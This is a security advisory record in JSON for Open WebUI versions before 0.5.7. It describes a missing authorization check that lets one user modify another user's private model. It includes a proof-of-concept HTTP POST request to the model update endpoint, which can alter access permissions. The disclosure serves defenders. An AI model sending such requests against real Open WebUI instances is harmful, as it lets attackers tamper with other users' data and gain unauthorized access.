{"id":"PYSEC-2026-2727","summary":"Open WebUI missing authorization check at the model update function - models from other users can be updated","details":"### Summary\nA user can modify another user's model even if its visibility is set to `Private`.\nThe finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.\n\n### Details / PoC\nThe user `Victim` created a private model with the visibility set to `private`: \n![grafik](https://github.com/user-attachments/assets/de057943-512b-46bf-8671-2904d55ec056)\n\nThe user `Attacker` can edit this model using the following POST request:\n```\nPOST /api/v1/models/model/update?id=aaabraaa HTTP/2\nHost: domain.local\n//Some headers removed\nTe: trailers\n\n{\"id\":\"aaabraaa\",\"base_model_id\":\"gpt-4o-POC\",\"name\":\"testmodel\",\"meta\":{\"profile_image_url\":\"/static/favicon.png\",\"description\":\"\",\"capabilities\":{\"vision\":true,\"usage\":false,\"citations\":true},\"suggestion_prompts\":null,\"tags\":[],\"toolIds\":[\"test\"]},\"params\":{},\"user_id\":\"565c82e6-083f-42bb-bf0f-a4e214cfb9ad\",\"access_control\":{\"read\":{\"group_ids\":[],\"user_ids\":[]},\"write\":{\"group_ids\":[],\"user_ids\":[]}},\"is_active\":true,\"updated_at\":1737314575,\"created_at\":1737121281}\n```\nRequest / Response\n![grafik](https://github.com/user-attachments/assets/19986403-b782-4288-b618-202b55519bb1)\n\n### Impact\nA user can modify another user's model even if its visibility is set to `Private`. By changing the access permissions during editing, unauthorized access can be gained.","aliases":["CVE-2026-45345","GHSA-gm54-m39w-grjp"],"modified":"2026-07-13T16:32:19.851813751Z","published":"2026-07-13T15:19:06.702582Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-gm54-m39w-grjp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45345"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gm54-m39w-grjp"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.7"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.2","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2727.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}